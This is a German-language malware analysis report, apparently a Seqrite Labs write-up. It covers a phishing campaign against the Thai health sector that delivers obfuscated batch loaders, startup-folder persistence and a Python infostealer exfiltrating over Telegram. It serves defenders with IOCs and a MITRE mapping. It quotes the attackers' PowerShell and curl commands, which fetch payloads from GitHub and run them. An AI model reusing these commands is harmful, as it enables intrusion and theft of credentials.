Autoren: Vaibhav Krushna Billade, Dixit Panchal und Rumana Siddiqui.
Inhaltsverzeichnis
- Einführung
- Hauptziele
- Infektionskette
- Erste Ergebnisse der Kampagne
- Technische Analyse
- Phase 1: Erste Lieferung (RAR-Archiv)
- Stufe 2: Rouki-verschleierter Batch-Loader
- Phase 3: Start-Persistenzskript
- Phase 4: Ausführung der sekundären Nutzlast
- Phase 5: Bereitstellung des Informationsdiebs (sim.py)
- Fazit
- Seqrite Abdeckung
- Kompromissindikatoren (IOCs)
- MITRE ATT&CK-Mapping
Einführung
Seqrite Das Labor verfolgt und analysiert aktiv Bedrohungsakteure und deren Kampagnen mit Fokus auf Zuordnung, Infrastrukturanalyse und die Vorgehensweise der Angreifer. Im Rahmen unserer Forschung konnten wir zahlreiche Operationen China-nahen und anderen Bedrohungsclustern zuordnen, die sowohl regionale als auch internationale Ziele ins Visier nehmen.
Im Rahmen einer kürzlich durchgeführten Untersuchung identifizierten wir eine aktive Malware-Kampagne, die auf den thailändischen Gesundheitssektor abzielte, darunter Mitarbeiter des Gesundheitsministeriums und angeschlossene Gesundheitseinrichtungen. Die Kampagne nutzt Spear-Phishing-Angriffe mit Bezug zum Gesundheitswesen, die über manipulierte RAR-Archive verbreitet werden. Diese Archive enthalten verschleierte Batch-Skripte und ausführbare Schadsoftware. Die Infektionskette umfasst mehrere Verschleierungsstufen, die Auslieferung der Schadsoftware über GitHub, Persistenzmechanismen und Malware zum Informationsdiebstahl. Ziel ist es, sich in den Zielsystemen einzunisten und gleichzeitig der Erkennung zu entgehen.
Hauptziele
Die Kampagne richtet sich in erster Linie an Mitarbeiter und Abteilungen im gesamten thailändischen Gesundheitswesen, darunter:
- Mitarbeiter des Gesundheitsministeriums und staatliche Beschaffungsteams im Gesundheitswesen werden durch Köder, die offizielle Genehmigungsdokumente für medizinische Geräte imitieren, in die Irre geführt.
- Durch gefälschte Patientenaufnahmeanträge von Krankenhausmitarbeitern.
- Mitarbeiter von Radiologie- und Zahnkliniken durch gefälschte Krankenakten und Röntgenabfragedateien.
- Klinische und radiologische Abteilungen durch gefälschte CT-Scan-Befunddokumente von Patienten.
- Teams für die Beschaffung von medizinischer Ausrüstung und Lieferketten im Gesundheitswesen nutzen Genehmigungsdokumente des Gesundheitsministeriums.
Die Köderthemen lassen auf eine gezielte Ausrichtung auf Funktionen im Gesundheitswesen schließen und zeugen von einem ausgeprägten Verständnis der betrieblichen Arbeitsabläufe innerhalb dieses Sektors.
Infektionskette
RAR-Archiv → Verschleierter BAT-Loader → Rouki-verschleierter Payload-Loader → Start-Persistenz-Skript (WindowSecuryt.bat) → Sekundärer Batch-Payload (u-t2.bat) → Python-basierter Informationsdiebstahl (sim.py) → Versuche zur Telegram-Exfiltration
Erste Ergebnisse der Kampagne
Die früheste identifizierte Probe im Zusammenhang mit der Kampagne wurde am 7. April 2026 hochgeladen, während die zuletzt beobachtete Probe am 3. Juni 2026 hochgeladen wurde, was auf ein aktives operatives Fenster von etwa zehn Wochen zum Zeitpunkt der Analyse hinweist.
Wichtige Beobachtungen
- Alle identifizierten Proben wurden aus Thailand hochgeladen, was auf die Nutzung einer lokalen Staging-Infrastruktur oder kompromittierter lokaler Systeme für den Vertrieb hindeutet.
- Der Bedrohungsakteur verbreitet Schadsoftware über RAR-Archive, die bösartige Batch-Skripte und ausführbare Dateien enthalten, die als Dokumente mit Bezug zum Gesundheitswesen und zur Regierung getarnt sind.
- Die Dateinamen der Köder sind auf bestimmte Berufsfunktionen zugeschnitten, darunter Verwaltungs-, Klinik-, Radiologie- und Beschaffungspersonal. Dies deutet entweder auf eine vorherige Erkundung von Gesundheitsorganisationen oder auf eine breit angelegte Targeting-Strategie hin, die auf branchenspezifischem Wissen basiert.
- Alle beobachteten Beispiele verwenden eine konsistente RAR → BAT → Payload-Ausführungskette, was auf ein standardisiertes Toolset und eine wiederholbare Auslieferungsmethodik schließen lässt.
Technische Analyse
Phase 1: Erste Lieferung (RAR-Archiv)
Der anfängliche Infektionsvektor besteht aus einem manipulierten RAR-Archiv, das eine verschleierte Batch-Datei enthält, welche als erster Ladevorgang fungiert. Die Verschleierung wird umfassend eingesetzt, um die Funktionalität zu verbergen und statische Analysen zu erschweren.
Eine beobachtete Beispieldatei, Health_Ministry_Approved_Equipment_2026.bat, erstellt eine temporäre Datei mit kodierten Nutzdaten und verwendet PowerShell, um den eingebetteten Inhalt zu dekodieren. Der dekodierte Inhalt wird anschließend in eine zweite Batchdatei geschrieben, die danach ausgeführt wird.
Nach der Ausführung werden temporäre Artefakte entfernt, um forensische Beweise zu reduzieren und Untersuchungen nach einem Kompromittierungsfall zu erschweren.
Die Verwendung eingebetteter Nutzdaten, PowerShell-basierter Dekodierungsroutinen und Aufräumvorgänge deutet auf ein bewusstes Bemühen hin, bösartige Funktionen zu verbergen und Sicherheitskontrollen zu umgehen.
Stufe 2: Rouki-verschleierter Batch-Loader
Die während Phase 1 ausgeführte dekodierte payload.bat wurde mithilfe eines als Rouki identifizierten Frameworks stark verschleiert.
Die Analyse ergab, dass das Skript dynamisch PowerShell-Befehle rekonstruiert und ausführt, die zusätzliche Malware-Komponenten herunterladen, speichern und ausführen. Die Verwendung von auf GitHub gehosteten Payloads, irreführenden Dateierweiterungen und mehrstufiger Ausführung bietet operative Flexibilität und verringert gleichzeitig die Entdeckungswahrscheinlichkeit.
PowerShell-Befehl 1 – Persistente Bereitstellung
powershell.exe -WindowStyle Hidden -Command “[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ud-7-te/ud-vtn/raw/main/up-t2.png', 'C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowSecuryt.bat');”
Dieser Befehl lädt eine extern gespeicherte Datei herunter, die als PNG-Bild getarnt ist, und speichert sie als WindowSecuryt.bat im Windows-Autostartordner.
Die Platzierung im Autostart-Verzeichnis gewährleistet die automatische Ausführung bei jeder Benutzeranmeldung und sorgt so für dauerhafte Speicherung.
PowerShell-Befehl 2 – Payload-Bereitstellung
powershell.exe -Command “[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/d7-te/vtn/raw/main/T2.zip', 'C:\Users\Public\Desktops.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Public\Desktops.zip', 'C:\Users\Public\Desktops'); Start-Sleep -Seconds 1; C:\Users\Public\Desktops\python C:\Users\Public\Desktops\Lib\sim.py; del C:\Users\Public\Desktops.zip”
Dieser Befehl lädt ein ZIP-Archiv herunter, extrahiert dessen Inhalt in ein öffentlich zugängliches Verzeichnis und führt die eingebettete Python-basierte Nutzlast (sim.py) mithilfe eines mitgelieferten Python-Interpreters aus.
Nach der Ausführung wird das ZIP-Archiv gelöscht, um forensische Artefakte zu minimieren und die Reaktion auf den Vorfall zu behindern.
Phase 3: Start-Persistenzskript (WindowSecuryt.bat)
Die Analyse des heruntergeladenen Skripts WindowSecuryt.bat ergab, dass es eine erhebliche Menge an unnötigen Daten und Verschleierungslogik enthält, ähnlich wie sie in früheren Batch-Loadern beobachtet wurde. Dieser nicht-funktionale Inhalt dient dazu, die statische Analyse zu erschweren und den tatsächlichen Ausführungsablauf des Skripts zu verbergen.
Nach der Ausführung führt das Skript eine Berechtigungsprüfung und eine Umgebungseinrichtung durch, bevor es seine endgültige Funktionsphase erreicht, in der es den folgenden Befehl rekonstruiert und ausführt:
cmd /c “curl hxxps://raw.githubusercontent.com/ud-7-te/ud-vtn/main/ud-t2.txt -o C:\Users\admin\AppData\Local\Temp\u-t2.bat && call C:\Users\admin\AppData\Local\Temp\u-t2.bat”
Dieser Befehl lädt mithilfe von curl eine zusätzliche Batch-Datei (u-t2.bat) von einem GitHub-Repository herunter und speichert sie im temporären Verzeichnis des Systems (%TEMP%). Die Verwendung des Pfads %TEMP% gewährleistet Schreibzugriff ohne erhöhte Berechtigungen in den meisten Umgebungen.
Nach erfolgreichem Download führt das Skript die Nutzlast sofort mit dem Befehl „call“ aus und ermöglicht so die Fortsetzung der mehrstufigen Infektionskette.
Die Kombination aus Persistenz im Startup-Ordner und remote abrufbaren Payloads ermöglicht es dem Angreifer, bösartige Funktionen zu aktualisieren, ohne den ursprünglichen Persistenzmechanismus zu verändern.
Darüber hinaus sorgt die Platzierung des Skripts im Windows-Autostartordner für Persistenz und gewährleistet dessen automatische Ausführung beim Anmelden des Benutzers. Dies ermöglicht es dem Angreifer, wiederholt aktualisierte Schadsoftware von der entfernten GitHub-Infrastruktur abzurufen und auszuführen, ohne den ursprünglichen Persistenzmechanismus zu verändern. Dadurch erhält er eine flexible und langfristige Kontrolle über die Infektionskette.
Phase 4: Ausführung der sekundären Nutzlast (u-t2.bat)
Die Analyse des heruntergeladenen u-t2.bat-Skripts ergab, dass es Junk-Code und verschleierte Abschnitte enthält, ähnlich wie frühere Batch-Komponenten in der Infektionskette. Diese nicht-funktionalen Elemente befinden sich am Anfang des Skripts und dienen dazu, die statische Analyse zu erschweren und den tatsächlichen Ausführungsablauf zu verbergen. Die eigentliche Logik ist tiefer in diesen verschleierten Abschnitten eingebettet und wird erst zur Laufzeit entschlüsselt.
Das Skript versucht, sich mit erhöhten Berechtigungen neu zu starten, um einen höheren Zugriff auf das System zu erlangen.
Nach erfolgreicher Erhöhung fährt das Skript mit der Ausführung der nächsten Nutzlaststufe fort und minimiert dabei die Sichtbarkeit für den Benutzer.
Die letzte Ausführungsphase löst die folgende Nutzlast aus:
powershell.exe -WindowStyle Hidden -Command “C:\Users\Public\Desktops\python C:\Users\Public\Desktops\Lib\sim.py”
Dieser Befehl startet den zuvor bereitgestellten Python-Interpreter und führt sim.py aus, während sichtbare Ausführungsfenster unterdrückt werden.
Die Verwendung einer mitgelieferten Python-Laufzeitumgebung ermöglicht die Ausführung unabhängig von einer bestehenden Python-Installation auf dem Zielsystem und reduziert die Abhängigkeiten bei der Bereitstellung.
Phase 5: Bereitstellung des Informationsdiebs (sim.py)
Die bei der Analyse identifizierte endgültige Nutzlast ist sim.py, ein Python-basierter Informationsdiebstahl, der über die mitgelieferte Python-Umgebung ausgeführt wird.
Nach der Ausführung beendet die Schadsoftware mithilfe von taskkill-Befehlen mehrere Webbrowser, darunter Google Chrome, Microsoft Edge, Brave und andere Chromium-basierte Browser. Dieses Verhalten ist typisch für Schadsoftware, die Informationen stiehlt und versucht, auf Browserdatenbanken, Anmeldeinformationen, Cookies und Sitzungsdaten zuzugreifen, die andernfalls von aktiven Prozessen blockiert sein könnten.
Beobachtete Fähigkeiten
- Erfasst browserbezogene Daten.
- Sammelt gespeicherte Anmeldeinformationen und Sitzungsinformationen.
- Die einzelnen Phasen sammelten Daten in temporären Verzeichnissen.
- Komprimiert die gesammelten Daten in ZIP-Archive.
- Versuche der Datenexfiltration über eine Telegram-basierte Infrastruktur.
Die Ausführungsprotokolle enthüllten wiederholte Versuche, gestohlene Daten mithilfe fest codierter Bot-Token und Chat-Kennungen über die Telegram Bot API an vom Angreifer kontrollierte Telegram-Kanäle zu übertragen.
Die Exfiltrationsanfragen enthielten opferspezifische Metadaten wie zum Beispiel:
- Systemkennungen
- Benutzername-Informationen
- Gesammelte Datenzähler
- Archivverweise
Obwohl die beobachteten Exfiltrationsversuche aufgrund von Verbindungsabbrüchen bei der Kommunikation mit api.telegram.org scheiterten, bestätigt die Kombination aus Browser-Datenerfassung, lokaler Zwischenspeicherung, Archiverstellung und Übertragungsversuchen die Informationsdiebstahlfähigkeit der Payload.
Insgesamt weist die Malware Merkmale auf, die üblicherweise mit modernen Python-basierten Stealern in Verbindung gebracht werden, darunter der Diebstahl von Anmeldeinformationen, das Sammeln von Session-Cookies, das lokale Zwischenspeichern von Daten, die Erstellung von Archiven und Telegram-basierte Exfiltrationsmechanismen.
Die Verwendung von auf GitHub gehosteten Payload-Übermittlungen, legitimen Systemdienstprogrammen, mehrschichtiger Verschleierung und mehrstufiger Ausführung trägt sowohl zur operativen Flexibilität als auch zur Umgehung der Verteidigung bei.
Fazit
Seqrite Das Labor schätzt mit mäßiger Sicherheit ein, dass es sich bei dieser Kampagne um einen gezielten Angriff auf den thailändischen Gesundheitssektor handelt, bei dem Social-Engineering-Köder mit Bezug zum Gesundheitswesen, mehrstufige Batch-Loader, eine auf GitHub gehostete Payload-Infrastruktur und auf Python basierende Malware zum Informationsdiebstahl eingesetzt werden.
Die Kampagne demonstriert eine wiederholbare Auslieferungsmethodik, bestehend aus RAR-Archiven, stark verschleierten Batch-Skripten, Persistenz durch Missbrauch des Startup-Ordners, gestaffeltem Abruf der Nutzdaten und Telegram-basierten Exfiltrationsversuchen.
Obwohl anhand der derzeit verfügbaren Beweise keine eindeutige Zuordnung möglich ist, deutet die in den verschiedenen Proben beobachtete operative Konsistenz darauf hin, dass die Aktivitäten von einem einzelnen Bedrohungsakteur oder einem eng verbundenen Cluster durchgeführt werden. Die fortlaufende Überwachung der zugehörigen Infrastruktur, der Entwicklung der Schadsoftware und der Opferstruktur könnte weitere Erkenntnisse zur Zuordnung und zu den Kampagnenzielen liefern.
Organisationen im Gesundheitswesen sollten wachsam gegenüber Phishing-Kampagnen mit Bezug auf Dokumente bleiben, unautorisierte Änderungen am Startordner überwachen und die Ausführung nicht vertrauenswürdiger Skripte und Binärdateien aus externen Quellen einschränken.
Seqrite Reichweite:
- Script.Trojan.Downloader.50836.GC
- cld.script.trojan.1759432951
Indikatoren für eine Kompromittierung (IOCs):
| Dateiname | SHA256 |
| Vom Gesundheitsministerium genehmigte Ausrüstung_2026.rar | E5F6D9D405819E6B05B5D8268A2E973294859AD65237EDE36AB612B536D0AC2B |
| Vom Gesundheitsministerium genehmigte Ausrüstung 2026.bat | 4EEBC38297A307D18784D6F9EBC8AA6E6F69860BE970CC70D9E544DEB1FF6CE0 |
| payload.bat | F4D4B8CAC004BB63834C6DF436721BABD9464C09787C80B268D839E0AADA9F87 |
| WindowSecuryt.bat | 74BB6AD7E1310F30A3E24FD3CBBFFA2C0C41C64E89E5D0DD1D6900E96B914183 |
| u-t2.bat | 7709D8C34D490509F3624104611EB75A862944DD9D7A642F44514ADA16C85EE9 |
| Desktops.zip | 523388567630E4FBDC359F75232BF2AD82671A680D4BFDCE0237FC30DFEC4C80 |
| Stealer (SIM.PY) | 442E0F4E822842922E7E4685840194E99FD68C7F0EC38C1925914B8F724D5865 |
MITRE ATT&CK-Mapping:
| Taktik | Technikname | Technik-ID |
| Erster Zugriff | Phishing: Spear-Phishing-Anhang | T1566.001 |
| Ausführung | Befehls- und Skriptinterpreter: Windows-Befehlsshell | T1059.003 |
| Befehls- und Skriptinterpreter: PowerShell | T1059.001 | |
| Benutzerausführung: Schädliche Datei | T1204.002 | |
| Verteidigungsflucht | Verschleierte Dateien oder Informationen | T1027 |
| Maskierung (BAT getarnt als PNG/TXT) | T1036 | |
| Entfernung des Indikators auf dem Host: Dateilöschung | T1070.004 | |
| Beharrlichkeit | Registrierungsschlüssel ausführen / Startordner | T1547.001 |
| Geplante Ausführung über den Autostart-Ordner | T1547 | |
| Privilegien Eskalation | Missbrauch des Höhenkontrollmechanismus | T1548 |
| Bewertung | Erkennung des Systembesitzers/Benutzers | T1033 |
| Zugang zu Anmeldeinformationen | Anmeldeinformationen aus Passwortspeichern | T1555 |
| Anmeldeinformationen von Webbrowsern | T1555.003 | |
| Kollektion | Gesammelte Daten archivieren | T1560 |
| Daten vom lokalen System | T1005 | |
| Daten aus Informationsrepositorien | T1213 | |
| Command and Control | Ingress Tool Transfer (GitHub-gehostete Nutzdaten) | T1105 |
| Anwendungsschichtprotokoll: Webprotokolle (HTTPS) | T1071.001 | |
| Proxy über legitime Dienste (GitHub) | T1102 | |
| Exfiltration | Exfiltration über Webdienst (Telegram Bot API) | T1567 |
| Datenexfiltration in Cloud-Speicher/Webdienst | T1567.002 |
